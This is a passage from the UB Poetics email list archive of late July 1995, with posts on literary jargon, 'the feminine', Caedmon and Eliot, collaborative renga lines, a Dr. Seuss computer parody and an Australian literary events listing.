now as for jargon: yes you are right that jargon includes and/or excludes, and is defined by that function. but jargon is also a personal reaching-for, a poeticism if you will, and way to say something that has not been expressed, I think, and thus it can begin as not part of a group. Perhaps groups coalesce around jargon, when people with like goals are attracted to a discourse. My problem with jargon has to do with the fact that I wish for there to be unity in my experience. Often, jargon is fabricated and thus is of the present, and so the past, history, tends to get excluded. For instance, I may know what you mean if you were to talk to me about, say, "subject position," but I emotionally and maybe in some respects cognitively--certainly psychologically, feel more comfortable with the term "self," even as I may recognize that this term is so imprecise when discussing for example the Western sense of "self" in the twelfth-century and in the seventeenth-century and in the twentieth-century, that I cannot get very far with it. On the other hand, "subject-position" provides me with a revelation about individual consciousness vis-a-vis discourse within a group, etc., that I can begin to think deeply about the differnt senses of self at different times in history. Yet, damnit, "subject-position" is clumsy esthetically and in other ways and also severely limited. But most of all, it has very little to do with my life as a whole. I suppose the rest of my life will have to catch-up with my use of "subject-position" and not the other way around.

Anyway, what this all boils down to is, that, frankly, I can't imagine, say, two people making love and using the term "subject-position" in their conver- sation (let's presume that some people talk while they make love_. I.e., it feels and therefore in some sense it is, unnatural. But I guess what we feel is natural changes?

YOurse,

Burt
(sorry for being so long winded and round about)

↑ Index

668. **Burt Kimmelman**
Re: beowulf (willa jargon)
Thu 27 Jul 1995

Chris,

How much the same or different is Feudal Japanes culture and earliest Christian German culture. I for one did not mean to set up the binary: lyric-epic.

as for male-female, your point seems well taken. I also wonder, anyway, to get back to my original point on this, if you are reading Caedmon's Hymn in the original where the music will come through, where the textures are what perhaps one might have found if one were alive in pre-Millenium England or the Germanies.

Burt

↑ Index

669. **Marisa A Januzzi**
Re: Renga1
Thu 27 Jul 1995

> > > >In the books were dreams and in the dreams were books.
> > > >And flew through windows, lightning green and fine morning
> > > First inverted whistle of a cardinal in the poplar
> > >Solemn air and sabbath retrograde
> > Why: these dots in the race when dreamt, did birds
> > > > in flew inverted sabbath race in whistle window retrograde
> many forms of soup comingled (miso-plum puree, chalk-salt
 We are feeling very good indeed among the lumber
Spotted 72 King Penguins (No's 32, 33 and 66 missing)

↑ Index

670. **George Bowering**
Re: Huey, Dewey, Louis
Thu 27 Jul 1995

But listen here, I am betting that good as they are, Huey Lewis's band aint going to remain news, so maybe they make good poetry but not great poetry.

↑ Index

671. **George Bowering**
Re: pseudononomous newbie
Thu 27 Jul 1995

"copywrite"?

--is this some sort of weak pun?

↑ Index

672. **Ryan Knighton**
Re: Renga 1
Thu 27 Jul 1995

How about another rule: every fifth line must preceed the first:

  Before alive and bled by law>
> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> >The book and the oboe on the grass under sun and cloud
>

↑ Index

673. **Ryan Knighton**
Re: rereading
Thu 27 Jul 1995

No this will not be about "re rereading", although the subject line implies something thereabouts.

Good question, though. Perhaps we should add why one is rereading something. Yes?

Anyways, I've got salinger's Nine Short Stories back in hand, for better or for worse. This is because of a conversation with friends about the significance of fruit and color in several of them.

SAdly, this is it. I don't find the time for rereading, it seems. And now that the question has been asked, I wonder why.

↑ Index

674. **Susan Schultz**
Re: the feminine
Thu 27 Jul 1995

Steve--yes, this is the question, isn't it? I think your reading is entirely right; my problem, in the context of this article by Retallack, is that "the feminine" is defined as/through "silence." While there's real intuitive truth to this, I'd like to see further distinctions. What is the difference, for example, between Laura Riding's silence and Gertrude Stein's? What is the force of that distinction? As for Stein, she put less fine a point on it in her geographical history of America: "in this epoch the only real literary thinking has been done by a woman." Susan

On Wed, 26 Jul 1995, Steve Carll wrote:

> *"It may*
> *seem like a betrayal of the few courageous women who are our clear*
> *'feminist' ancestors . . . to acknowledge a 'feminine' tradition*
> *dominated by males. But it is far worse to deny the presence of the*
> *feminine in language (as Ostriker and others do) by missing the fact that*
> *the feminine has never been exclusively 'embodied' in female writers."*
> *The essay can be found in FEMINIST MEASURES, edited by Lynn Keller and*
> *Cristanne Miller (U of Michigan Press). There are problems with the*
> *argument--why still call this move "feminine"?--but it is a marvelous*
> *antidote to Ostriker et al's essentialism.*
>
> *Hi Susan--*
>
> *Just out of curiosity, what would you suggest as an alternative to*
> *"feminine", assuming as I am that the term "feminine" has instead here been*
> *dislocated from "femaleness" to suggest a set of attributes possessed by*
> *both men and women? Or is this a misreading?*
>
> *Steve*

↑ Index

675. **Gabrielle Welford**
Dr. Seuss on computers (fwd)
Thu 27 Jul 1995

What was that about being elitist? Just wanted to pop _that_ bubble for goodness sake! Gab.

Apologies to original sender/composer, whose name has been lost in the shuffle...

What if Dr. Seuss Did Technical Training Manuals?

Here's an easy game to play.
Here's an easy thing to say:

If a packet hits a pocket on a socket on a port,
And the bus is interrupted as a very last resort,
And the address of the memory makes your floppy disk abort,
Then the socket packet pocket has an error to report!

If your cursor finds a menu item followed by a dash,
And the double-clicking icon puts your window in the trash,
And your data is corrupted 'cause the index doesn't hash,
Then your situation's hopeless, and your system's gonna crash!

You can't say this?
What a shame, sir!
We'll find you
Another game, sir.

If the label on the cable on the table at your house
Says the network is connected to the button on your mouse,
But your packets want to tunnel on another protocol
That's repeatedly rejected by the printer down the hall,

And your screen is all distorted by the side effects of gauss
So your icons in the window are as wavy as a souse,
Then you may as well reboot and go out with a bang,
'Cause as sure as I'm a poet, the sucker's gonna hang!

When the copy of your floppy's getting sloppy on the disk, And the microcode instructions cause unnecessary risc, Then you have to flash your memory and you'll want to RAM your ROM, Quickly turn off the computer and be sure to tell your mom!

↑ Index

676. Wystan Curnow
Re: Free Verse Foot
Thu 27 Jul 1995

Dear Burt, If we could only pull up our subject positions and coalesce around a warm discourse, make-or fabricate if you must--a few clumsy adjustments to those self-same subject positions then we just might find ourselves lovers of jargon after all. Certainly I'd have to class myself as one such. Jargon? Can't get enuf of the stuff. yrs Wystan

↑ Index

677. **Gabrielle Welford**
(no subject)
Thu 27 Jul 1995

Hello all. Anyone in England know Wendy Mulford? Still trying to track down Madge Herron. Or Helen Kidd, Julia Mishkin or Sandi Russell? How to get in touch with them?

Gabrielle

↑ Index

678. **Rod Smith**
Re: renga norms
Thu 27 Jul 1995

---

another possibility wld be for people to post only one line w/out the text to which they were responding, from which a variety of texts cld be made. i.e. there wld be as many rengas as participants if it went on long enough. this is why I originally posted a line w/out the preceding line-- I thought we were going that way. Seems the easiest way to approximate hypertext in this format. Though what's happening with the other permutations is good as well. --Rod

↑ Index

679. **Rod Smith**
Re: Renga 1
Thu 27 Jul 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds

↑ Index

680. **Rod Smith**
Re: knowledge can destroy anything
Fri 28 Jul 1995

Willa wrote: "I don't think that knowledge can destroy anything"

I don't know what this means. A bit of jargon such as the word "ideology" might be in order?

--Rod

↑ Index

681. **Steve Carll**
Re: the feminine
Fri 28 Jul 1995

> *Steve--yes, this is the question, isn't it? I think your reading is entirely right; my problem, in the context of this article by Retallack, is that "the feminine" is defined as/through "silence." While there's real intuitive truth to this, I'd like to see further distinctions. What is the difference, for example, between Laura Riding's silence and Gertrude Stein's? What is the force of that distinction? As for Stein, she put less fine a point on it in her geographical history of America: "in this epoch the only real literary thinking has been done by a woman." Susan*

Right, which is a statement with a masculine aggressiveness to it, which moves it back toward the other end of the spectrum. Hmm. You're right, it takes quite a bit of rigor to track a lot of these questions through the slippery landscape of gender, and only a few have really successfully negotiated it. And language seems to engender itself, which complicates things that much more.

Steve

↑ Index

682. **Chris Stroffolino**
Re: beowulf (willa jargon)
Fri 28 Jul 1995

Dear Burt K.--Well, first I don't BELIEVE you when you say you can't imagine someone saying "subject position" while "making love"-- but as for Caedmon's HYMN--there IS No original, with the music-- I mean MAYBE Caedmon had a great voice and was a Bob Dylan or P.J. Harvey or something. What WE DO KNOW, however, is that the "text" (stripped of its music) has circulated beyond mere medievalist "circles" and has taken on an institutional life of its own as a version of "the thing itself" in vulgar official narratives of HISTORY OF ENGLISH LIT (just as "the ballad" is called a "hybrid form--neither music nor poetry" but this is only true from a certain perspective of what literature is, or has been, only with the advent of the printing press, etc.)---And, because the version we have (whether debased or not) has been accorded a privileged position as if AT THE BEGINNING of a tradition, it is worthwhile perhaps to consider the conception of "the lyric" that is implicitly justified by Caedmon (for instance, "christian"; for instance, "Confessional"-- for instance "poet as rebel-turned-seer; or rudolph the rednosed reindeer). I am not arguing that these "myths" do not have a place in poetry, and even haunt the most radical poetry that inevitably, at one point or another, places itself in some kind of relation to this voice (be it Shakespeare or Stein or O'Hara or L Poets), only

to recognize the way the text continues to be used in undergraduate survey courses (if nowhere else) which, to me, seems to matter more than some hypothetical reconstruction of the TRUE SPLENDOURS of the past that may very well be the present in drag. Thanks for taking this seriously, chris

↑ Index

683. **beard**
Re: Renga1
Fri 28 Jul 1995

> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
>Solemn air and sabbath retrograde
>Why: these dots in the race when dreamt, did birds
curl between two bodies / of water, falling awake

↑ Index

684. **beard**
Eliot & Stein
Fri 28 Jul 1995

> *maria---eliot meant it negatively--but I got it from Riding's essay on "stein and the new barbarsm"---SHE meant it positively-- but the recognition of course on Eliot's part (Stein=Saxophone) makes me wonder whether "eliot was of the devil 's part without knowing it"--I mean devil positively, btw....chris*

It's difficult to tell when Eliot's being positive & when he's being negative. I read somewhere that when he first wrote of Stravinsky's music that it was like "horns and motors" he meant it positively (& I know that he was, or at least became, a Stravinsky fan), but my reading of that phrase in _The Waste Land_ is negative, due to the implied comparison with "times winghd chariot".

Just a thought,

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

685. **Kevin Killian**
the feminine, the troubled axis
Fri 28 Jul 1995

---

maria damon writes:

> *i was trying to stay out of this one, cuz it seemed too volatile, and more complex than i can muster my forces for at those odd itchy moments when i hit the keyboard*

I second the wisdom of keeping out of this one, Maria, but I was reading something yesterday that seemed to fit in here. Quoting someone else is a way of keeping out of this, don't you think?

It's Mary Russo in *The Female Grotesque* (Routledge, 1995) writing about Michael Balint:

In his remarks on the circus act and funfairs, however, he includes female figures in the aerial act or in the "primitive" sideshows as essential "showpieces":

"One type of showpiece is either the beautiful, attractive women, or frightening , odd, and strange females; the other type is powerful, boasting, challenging men. Simplified to bare essentials, practically all stage plays or novels, however highbrow, are still concerned with these three kinds of human ingredients."

His shifting syntax here suggests that both the "beautiful, attractive" and the "odd and strange" female finally belongs to the same "type." But are there two types or are there three, since they separate out into "three kinds of human ingredients? Here, indeed, is the sex that is not one! In that part of the twin category of the female/woman that includes the "frightening, odd, and strange *females*," one assumes the presence of freaks and other grotesque curiosities who produce in the viewer a certain state of ambivalent *dis*traction which is somehow involved or transformed in the attraction of the other "*women*" (emphasis mine). The proximity of female grotesques to their attractive counterparts has a long history in the typology of Western art and theater, especially comedy, in which the whorish matron, the crone, the ugly stepsisters, and the nurse are brought onstage for comparison and then dismissal.

Conceptually, the disjuncture between the relationship of the two (male and female) and the three (male and two female) categories provides a space of differentiation between women which is covered over in the dominant fictions of gender and heterosexuality. Teresa de Lauretis has written eloquently of the "in-difference" of much contemporary critical discourse, including feminist criticism, to those sexual differences which cannot be contained within or placed definitively outside the heterosexually presumed oppositional difference

of male to female. These "eccentric subjects" occupy a position in what she designates, following film theory, as a "space-off," the "space not visible in the frame but inferable from what the frame makes visible." De Lauretis sees this as an existing "else-where" produced by and in representational practices and by what they leave out or cannot represent; she also sees it as "a theoretical condition of possibility" for feminism, defined as a heterogeneous and contradictory process, rather than (as its critics and some of its friends would have it) a finished product built along an untroubled axis of gender (perhaps this "finished feminism" is somewhere so simple, but nowhere I have been).

The Female Grotesque, pp. 39-40

This is a mere drop of complexity. As I was saying, I'm keeping out of this one--I'm just sitting here typing, a secretary/transchanneler like Mina Harker.

Dodie Bellamy

↑ Index

686. **Mark Roberts**

AWOL: August Happenings

Fri 28 Jul 1995

August Happenings

Australian Writing OnLine

AWOL Happenings. A monthly guide to readings, book launches, conferences and other events relating to Australian literature both within Australia and overseas. If you have any item which you would like included in future listings please contact AWOL.

AWOL is setting up a 'Virtual Bookshop' for Australian small magazines and presses. This will take the form of regular newsletters (which will be available both on the net and by mail and fax) which will pre/review new publications. This titles will then be able to be ordered by mail or fax. Associated with our Virtual Bookshop is our Sydney distribution service for small presses. Please contact us for further details if you want to distribute your publication to bookshops in Sydney.

AWOL can be contacted by email at [redacted], by writing to AWOL, PO Box 333, Concord NSW 2137, Australia, by faxing 61 2 [redacted] or by phoning 61 2 [redacted].

AWOL posts are archived on the WWW at the following address
http://www.anatomy.su.oz.au/danny/books/index.html
then click on Australian Writing OnLine.

********** NSW

SYDNEY

READINGS

4th Monday of each month...FUTURE POETS SOCIETY 8pm, Lapidary Club Room, Gymea Bay Road, Gymea. Details phone Anni Featherstone (02) [redacted].

Every Tuesday...POETRY SUPREME 9pm, Eli's Restaurant, 132 Oxford Street, Darlinghurst. Details phone/fax (02) [redacted].

1st and 3rd Wednesday ...POETS UNION 7pm, The Gallery Cafe, 43 Booth Street, Annandale. Details phone (02) [redacted].

4th Wednesday...LIVE POETS AT DON BANKS MUSEUM 7.30pm, 6 Napier Street North Sydney. Guest reader plus open section. Admission $6 includes wine. Details phone Sue Hicks or Danny Gardiner (02) [redacted].

Every Thursday...POETRY ALIVE 11am-1pm, Old Courthouse, Bigge Street, Liverpool. Details phone (02) [redacted].

1st Friday...EASTERN SUBURBS POETRY GROUP 7.30pm, Everleigh Street, Waverly. Details phone (02) [redacted].

2nd & 4th Saturday...GLEEBOOKS READINGS 2pm, Gleebooks, 49 Glebe Point Road, Glebe. Details Nick Sykes (02) [redacted].

3rd Sunday...POETRY WITH GLEE: THE POETS UNION AT GLEEBOOKS. 2-4pm, 49 Glebe Point Road, Glebe. Admission $5/$2 Details Nick Sykes (02) [redacted].

Every Sunday...THE WORD ON SUNDAY 11.30am Museum of Contemporary Art, Circular Quay. 2 Admission $8/ $5. Details phone (02) [redacted].

Sunday 30 July at 2.30pm Writers at Macquarie. John Tranter discussing and reading from his book The Floor of Heaven Macquarie University, Building X5B Theatre 1 $10 (conc $5). Details and bookings 02 [redacted] or 02 [redacted].

NSW WRITERS' CENTRE EVENTS

WOMEN WRITERS' NETWORK 2nd Wednesday. 7.30pm, NSW Writers' Centre. Details Ann Davis (02) [redacted].

FEMINIST & EXPERIMENTAL WRITERS' GROUP meets every second Friday 6.30-9.30pm. Details Margaret Metz (02) [redacted] or Valerie Williamson for details of venues.

For information on Queerlit 95, which is being held at the NSW Writers' Centre, please refer to the conference listing at the end of this document.

Unless otherwise stated all NSW Writers' Centre events are held at the Centre in Rozelle Hospital Grounds, Rozelle. Enter from Balmain Road opposite Cecily street and follow the signs.

REGIONAL

ARMIDALE 1st Wednesday 7.30pm, Rumours Cafe in the Mall. Details phone James Vicars (067) 73 2103.

WOLLONGONG 2nd & 4th Tuesday 7.30pm, Here's Cheers Restaurant, 5 Victoria Street, Wollongong. Details phone Ian Ryan (042) 84 0645.

LISMORE 3rd Tuesday 8pm. Stand Up Poets, Lismore Club, Club Lane. Details phone David Hallett (066) 891318.

NEWCASTLE

1st Sunday... Illuminating Tales at the Commonwealth Hotel, Union/ Bull Streets, Newcastle. Details phone Bill Iden (049) 675 972

3rd Monday... Poetry at the Pub. Newcastle Bowling Club, Watt Street. Details phone Bill Iden (049) 675 972

WAGGA WAGGA

15 August, 7.00 pm, Firenze Restaurant: Literary Dinner with Michael Symons, celebrated food writer, restaurateur and social historian. Michael will speak on the topic "Simplicity and depth". Cost $25 per head for a three-course meal. Bookings via Dymocks, ph. 069 219622

21 August, 7.30 pm, Booranga Writers' Centre, Charles Sturt University: Writing Workshop with Michael Symons: "How do you write about food? Can you write about food?" Cost $12, Members $10. ph (Booranga) 069 332688

General Enquiries: David Gilbey ph 069 332465 Email [redacted].

****

QUEENSLAND

Queensland Writers Centre Events

Information on Queensland Writers Centre Events will be posted seperately early next week

CONFERENCES

QUEERLIT 95

QueerLit 95 is the second national (inter- if you count New Zealand) conference of, and on, queer (gay, lesbian, bisexual, transgendered, queer, queered, etc.) writing in Australia and it's happening at: the New South Wales Writers' Centre in Rozelle Sat. & Sun. 26th - 27th August

It includes presentations, panels and open discussion on everything from journalistic ethics to academic literary criticism, how-to-get-published to erotic writing, poetry to book reviewing. Over 300 participants attended QueerLit 93

and its diversity of content and presenters guarantees at the least an unpredictable, productive time.

A short fiction competition with over $900.00 of prizes is being run in conjunction with QueerLit 95, along with the launch of _and that's final_, a short fiction sequence from Dean Kiley, and _ClitLit_, a new lesbian literary journal.

Gauche as it is to name names: Dorothy Porter, McKenzie Wark, Gary Dunne, Jill Jones, Christos Tsialkos, Susan Hawthorne Michael Hurley, Jane Palfreyman, Peter Blazey, Mark McLeod, someone channeling Patrick White & several more tempted.

For Schedules, Registration Forms or further detail, contact:
Ian MacNeill on [02] [redacted]
or fax [02] [redacted] (attention Dean) or email [redacted]

EUROPEAN ASSOCIATION FOR STUDIES ON AUSTRALIA

Third conference: Copenhagen, October 6-9, 1995

Conference theme: Inhabiting Australia: The Australian Habitat and Australian Settlement.

The conference aims to bring together contributions from a wide range of disciplines, from architecture to zoology. Papers which take up the theme from cultural, historical, social, scientific, literary and other perspectives are invited.

Further information available from Conference organisers:

* Bruce Clunies Ross (45) 35 32 85 82 internet: [redacted] * Martin Leer (45) 35 32 85 87 internet: [redacted] * Merete Borch (45) 35 32 85 84 internet: [redacted]

Copenhagen University, Department of English Njalsgade 80, DK-2300 Kobenhavn S
Phone. (45) 35 32 86 00
Fax (45) 35 32 86 15

* Eva Rask KnudsenWiedeweldtsgade 50, st.
2100 Copenhagen O. (45) 35266025

SYMPOSIUM: (POST) COLONIAL FICTIONS: RE-READING ELIZA FRASER AND THE WRECK OF THE STIRLING CASTLE.

University of Adelaide, 25-26 Nov., 1995.

Contact: Kay Schaffer, Department of Women's Studies, 08 [redacted] direct, 08 [redacted] FAX, e-mail: [redacted]

Post-colonial studies within Australia have attempted to re-evaluate and re-write colonial history to include those people either marginalised or subjugated by the colonial process. This two day symposium will explore a different aspect of post-colonial discourse through the exploration of one of the best known events in Australian colonial history. In 1836 the 'Stirling Castle' was wrecked off the Queensland coast and many of the crew together with the Captain's wife, Eliza, were marooned on Fraser Island. Events surrounding the rescue of the castaways, in particular Mrs. Fraser, received international media attention. In the last 160 years the story of Eliza Fraser has become the subject of popular myth, fiction, opera, art, film and scholarly research in the areas of cultural studies, literature, history, anthropology, archaeology, women's studies, and the visual arts. (Post) Colonial Fictions will examine critically the Eliza Fraser saga by bringing together, for the first time, an interdisciplinary team of academics, authors, artists and members of the Fraser Island community. Discussions will include feminist analyses of the incident, textual and iconographic representations of Aboriginal people, and Eliza Fraser as a creative inspiration for the arts.

Speakers on 19th century ethnography, visual arts, and Fraser Island history include: Ian Mc Niven, Lynette Russell, Rod McNeil, Olga Miller, Elaine Brown; on 20th century cultural studies and Batdjala representations include: Kay Schaffer, Sue Kossew, Jim Davidson, Jude Adams and Fiona Foley. We are hopeful that the symposium will include an exhibition of Fiona Foley's works and a performance by University of Adelaide Conservatorium of Music students of the theatre opera: "Eliza Fraser Sings" (arranged by Peter Sculthorpe/libretto by Barbara Blackman).

AUSTRALIAN STUDIES AND THE SHRINKING PERIPHERY: SURFING THE NET FOR AUSTRALIA

The Centre for Australian Studies in Wales, University of Wales, Lampeter, is hosting a conference next year entitled "Australian Studies and the Shrinking Periphery: Surfing the Net for Australia."

"In recent years the consolidation of Europe into the 15 states of the EU, the integration of east and west within Europe, and the progressive turning of Australia to its own Pacific backyard have furthered the impression of periphery: one world's edge looking distantly at the other."

Organisers are calling for papers.

The contacts are:

Dr Graham Sumner and Dr Andrew Hassam
Centre for Australian Studies in Wales
University of Wales

Lampeter
Dyfed, SA48 7ED,
Wales, UK.

Telephone: Graham Sumner [redacted] or 424790 (secretary)
Andrew Hassam [redacted] (secretary)

Fax: Graham Sumner [redacted]
Andrew Hassam [redacted]

E-mail: [redacted] or [redacted]

Offers of papers should reach the organisers by 31 December 1995, and comprise a full title and an abstract of no more than 100 words.

Further information will be sent when available, and will appear on the Centre's WWW home-page (htp://www.lamp.ac.uk/oz).

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While AWOL makes every effort to ensure the accuracy of Happenings listing we suggest you confirm dates, times and venue.

AWOL would like to thank the following organisation who provided information for this list: NSW Writers Centre, Queensland Writers Centre, AusLit discussion group (internet), WIPround (Women in Publishing) and the other individuals and organisations who supplied information about their events directly to AWOL.

↑ Index

687. **maria damon**
Re: the feminine
Fri 28 Jul 1995

In message <[redacted]> UB Poetics discussion group
writes:
> >Steve--yes, this is the question, isn't it? I think your reading is
> >entirely right; my problem, in the context of this article by Retallack,
> >is that "the feminine" is defined as/through "silence." While there's
> >real intuitive truth to this, I'd like to see further distinctions. What
> >is the difference, for example, between Laura Riding's silence and
> >Gertrude Stein's? What is the force of that distinction? As for Stein,
> >she put less fine a point on it in her geographical history of America:
> >"in this epoch the only real literary thinking has been done by a
> >woman." Susan
>
> Right, which is a statement with a masculine aggressiveness to it, which

> moves it back toward the other end of the spectrum. Hmm. You're right, it
> takes quite a bit of rigor to track a lot of these questions through the
> slippery landscape of gender, and only a few have really successfully
> negotiated it. And language seems to engender itself, which complicates
> things that much more.
>
> Steve

i was trying to stay out of this one, cuz it seemed too volatile, and more complex than i can muster my forces for at those odd itchy moments when i hit the keyboard, but when i read "masculine aggressiveness," i feel compelled to enter. these denominations, "feminine" and "masculine," it seems, are simply ways of noting --or creating --difference. masculinity is associated w/ aggression, femininity with docility or gentleness, without much thoughtful attention to the empirical world. it's just a crude shorthand for perceived opposition. i can be as aggressive as the next guy which doesn't mean i'm invoking a "masculine" side of myself. i can be warm on occasion, even demur, which doesn't mean that i'm being "feminine" in those instances. can we find some other way of referring to affect and behavior without calling on facile gender categories to do our thinking for us? and i'm not sure "language" engenders itself --people do --i think language is smarter than people, and can help us find a way out of this binary impasse.

↑ Index

688. **Jordan Davis.**
green technologies
Fri 28 Jul 1995

Chris

I'm still unconvinced that ED's "top-of-the-head to you" means anything more than a threshold of feeling a text has to pass to be considered "poetry" by ED. (Tim Davis, also of Amherst, loves to report ED's epitaph: "Called Back"). And I don't know if a Dickinson/Whitman dichotomy for epic/lyric (ha) introduces any new rules--"magic is a joke you pay cash for"E. Denby.

As for the great divide my train created in response to M Boughn: the divide between Olson's famous people "for whom everything matters"--meaning meaning--and lucky us. That is. Pound watching the cantos fragment around him and Olson thinking it's possible to hold all of _something_ together (wrong). Then us. (And we go off with the words meaning something ((at best, some pretty nothing--at worst, malicious or banal)) through us instead of our having them riemann-sum-up our "meaning"--psychology-- or, we look at the interstitial writers as somehow _holy_, to be quoted and _understood_--religio). In the face

of it I'd rather be, what, baroque? Clear? So it seems to me that Creeley's Olson (U Cal Selected) is an attempt to take the Olson of meaning and present an Olson through whom meaning happens... and yes Olson was on both sides of that issue too. That is, Mike, I think something changed.

just talking,
Jordan

↑ Index

689. **Jordan Davis.**
natl poetry month is april
Fri 28 Jul 1995

---

the summer 96 fashion shows are in full swing and
we should start talking about april, which
Farrar Straus Giroux and the Academy of American Poets
and I think the Poetry Society of America
are proclaiming national poetry book month.
Bookstores will be supplied with kiosks and displays
to I think J Galassi said in a closed meeting
move the slower titles on the backlists
of major publishers of poetry. Now. We need
to co-opt this if we can. We should assemble a list
of addresses of small bookstores and names
of buyers for the bigger chains, and if at all possible
we should prepare some kind of small press packet
to make the case that the real activity in poetry
is only _marginally_ going on at the big houses

If this doesn't seem to "let's-put-on-a-show"
I'll compile the bookstore address list
backchannel--send me the names and addresses

and those on the list with any "pull" might
investigate the possibility of getting a small press
liaison on the poetry month committee
so the backlists of Roof, United Artists, Leave
et cetera can get in the publicity packets

again this may be totally naive
however I'd like to go without cringing
past what bookstores remain next April
I didn't read this much for my children
and cousins to think Dr. Williams means
C.K. (no offense Mr. Williams)

Jordan

↑ Index

690. **Aldon L. Nielsen**
Re: Renga, Renga, Renga
Fri 28 Jul 1995

---

a basic feature of the Rnga is supposed to be, as Jacques Roubaud neatly summarized it, that the links (composed of 2 & 3 line sections) follow a syallbic count, and that "any given link of the renga must form a poem along with that which precedes it and this poem must be different from that which it forms with the link which follows it." The new rules proposed in recent postings are in the tradition of proliferating "binding" rules from the 14th century on. What we have going, & perhaps the medium made this inevitable, is something quite different, though no less intriguing. I wouldn't call it a "wronga" -- but maybe we should give it a name of our own devising that might cause less confusion. It's clearly a ringer.

↑ Index

691. **Chris Stroffolino**
Re: Studio space
Fri 28 Jul 1995

Blair--I tried to contact you backchannnel about some longshot possibilities--friends in Brooklyn, etc--but it bounced back to me....backchannel me, Chris

↑ Index

692. **Blair Seagram**
Studio space
Fri 28 Jul 1995

I know it's a long shot, but if anyone out there living in Manhattan or Brooklyn, knows of cheap studio space, I'm talking $250 to $300 a month, please backchannel me. It could be a share. I'm not working in my studio much these days, but would like to keep the option open and need a place to put my work.

FYI. I'm part of a group of artists in a building on 42nd Street which is being demolished by the city and state of New York, to make way for Disney's grand entrance onto 42nd, the new suburban playground for out of towners.

keep cool

blair

↑ Index

693. **George Bowering**
Re: rereading
Fri 28 Jul 1995

I have been rereading George Stanley's _The Stick,_ persuaded that he was those 2 decades ago, writing the sweetest cadence hereabouts. One also hears there some authentic poems about work.

↑ Index

694. **Reginald Johanson**
herb and george
Fri 28 Jul 1995

Don't forget the great poems of Mingus, the best of the lot. There is a great CD called "weird nightmare"--collecting Mingus covers and readings by Robbie Robertson, Henry Rollins and more.

↑ Index

695. **David Kellogg**
"Believe"?
Fri 28 Jul 1995

This belief in poetry conversation has, well, rather elided the question of "belief." What does it mean to "believe" in poetry -- how similar is it to other forms of belief? I for one wish Burt hadn't backed away from his original loaded statement. If we take "belief" in Pierre Bourdieu's sense of a "circle of belief" which constructs simultaneously the object (poetry) and the value of the object, then none of us are likely to be OUTSIDE that circle of belief insofar as we're having this conversation in the first place. On the other hand, it's worth questioning our own role(s) in perpetuating a belief-circle which constructs our own position in it, goes on happily with or without our participation, and has effects we can't really control. As in: I believe I'm in a nation-state, yet do I believe IN it?

Cheers,
David
~~~
~~~

Durham, NC 27708
[redacted] --Thomas Kinsella

↑ Index

696. **David Kellogg**
Re: Free Verse Foot
Fri 28 Jul 1995

On Thu, 27 Jul 1995, Burt Kimmelman [redacted] wrote:

> *Anyway, what this all boils down to is, that, frankly, I can't imagine, say, two people making love and using the term "subject-position" in their conversation (let's presume that some people talk while they make love_. I.e., it feels and therefore in some sense it is, unnatural. But I guess what we feel is natural changes?*

You need to go back and read that Harry Mathews sestina (I forget the title) in Armenian papers in which the repeating words are: Marxism-Leninism, sexism, fascism, racism, militarism, and -- oh I forget.

Cheers,
David
~~~
~~~

We are feeling very good and undid the lumber
Spotted 72 King Penguins (No's 32, 33 and 66 missing). Let's see
That's lines 10, clouds none. My mouse squeaks, does yours?

Kit Robinson

↑ Index

698. **Burt Kimmelman**
Re: the feminine
Fri 28 Jul 1995

Susan,

You are of course aware of the recently edited and now published twelfth-century french romance titled "silence," which was written by a woman and which has now received an enormous amount of critical attention (including a recent article in PMLA)?

Burt

↑ Index

699. **Thomas Bell**
rengaro [Cth
Sat 29 Jul 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
Disperate literary melds sweet songs

Bada Shanren

↑ Index

700. **Sheila E. Murphy**
Re: Renga 1
Sat 29 Jul 1995

>>In the books were dreams and in the dreams were books.
>>And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
>>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee

↑ Index

701. **Ken Edwards**
Info on UK poets
Sat 29 Jul 1995

In response to Gabrielle Welford:

My collaborator on Reality Street Editions, Wendy Mulford, can be contacted at 6 Benhall Green, Benhall, Saxmundham IP17 1HU, UK. No email address: Wendy's a bit of a technophobe. And she's away during most of August. Incidentally, check out the RSE online catalogue at the Electronic Poetry centre for news of new and upcoming titles, including a big anthology of women language-centred/experimental poets, edited by Maggie O'Sullivan.

Helen Kidd is at 56 Beech Crescent, Kidlington, nr Oxford OX5 1DP, UK. I don't have addresses for Julia Mishkin or Sandi Russell, but Wendy or Helen may have.

-Ken

↑ Index

702. **Ron Silliman**
Re Re Renga
Sat 29 Jul 1995

>In the books were dreams and in the dreams were books.
>In the crooks were nannies and in the nannies began responsibilities.
>And desire. To which, Mr Stanley, to wit, "Mistah Bowering, he...
>suffers himself too much, perhaps a small tango would permit
him the opporuntity to advance (too much apricot in the tea

↑ Index

703. **Ron Silliman**
Re: Renga 3
Sat 29 Jul 1995

In the books were dreams and in the dreams were books
That cooks would look to in the hope of
many forms of soup comingled (miso-plum puree, chalk-salt,
stewed pigeons). Outside, the sheep dogs barking,

↑ Index

704. **Ron Silliman**
Re: Renga1
Sat 29 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
Solemn air and sabbath retrograde
Why: these dots in the race when dreamt, did birds
Flitter high over the stadium, the lights

↑ Index

705. **Ron Silliman**
Re: Renga1
Sat 29 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
Solemn air and sabbath retrograde
Why: these dots in the race when dreamt, did birds
in flew inverted sabbath race in whistle window retrograde
until the books were broth again, steaming, onions bobbing

↑ Index

706. **Ron Silliman**
